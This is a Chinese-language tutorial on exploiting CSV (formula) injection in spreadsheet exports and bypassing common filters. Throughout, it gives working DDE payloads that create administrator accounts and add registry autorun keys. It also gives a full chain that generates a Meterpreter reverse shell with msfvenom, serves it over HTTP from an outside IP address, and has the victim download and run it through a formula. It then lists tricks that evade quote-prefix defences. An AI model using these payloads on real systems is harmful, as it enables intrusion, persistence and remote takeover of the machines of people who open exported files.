1. 程式人生 > 實用技巧 >csv注入利用和繞過總結

csv注入利用和繞過總結

csv注入

csv注入是一種將包含惡意命令的excel公式插入到可以匯出csv或xls等格式的文字中,當在excel中開啟csv檔案時,檔案會轉換為excel格式並提供excel公式的執行功能,會造成命令執行問題。

漏洞原理

漏洞原理就是excel的一個特性,當單元格中內容以=-+@等符號開頭時,excel將會將其當成一個公式處理。

所以當我們輸入=1+1時,excel會自動將其計算

那麼利用這個辦法,把等號後面的內容改為執行cmd命令控制其開啟一個計算器

=1+cmd|' /C calc'!A0

漏洞利用

修改登錄檔

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

新增使用者

=cmd|'/C net user test 123456 /add'!A0+
=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0


可以使用命令注入中的知識,同時執行兩個命令,達到新建一個管理員使用者的效果

下載木馬,反彈shell

準備木馬

#msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe
#python2開啟http服務
python -m SimpleHTTPServer 8888
#python3開啟http服務
python -m http.server 8888

攻擊機監聽

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx
set LPORT 4444
run

靶機從python http服務下載木馬並執行

curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe

那麼我們在csv注入場景下的payload就是

=cmd|'/C curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe'!A0

不過這個方法一般會在下載步驟被windows防火牆攔截,可以自行增加一層編解碼或者加解密過程。

反彈shell也可以通過呼叫powershell下載powercat反彈,使用nc監聽。

漏洞繞過

其他運算子號繞過

很多場景下伺服器會過濾=,但是在excel中,+,-,@等也可以觸發公式

-cmd|' /C calc'!A0
+cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

%0A繞過自動新增單引號

有些防禦手法會在等號之類的運算子前增加’,或每個元素開頭直接新增單引號,可使用%0A換行執行

%0A-1+cmd|' /C calc'!A0

;繞過自動新增單引號

有些防禦手法會在等號之類的運算子前增加’,或每個元素開頭直接新增單引號,可使用;分割,分別執行

;-1+cmd|' /C calc'!A0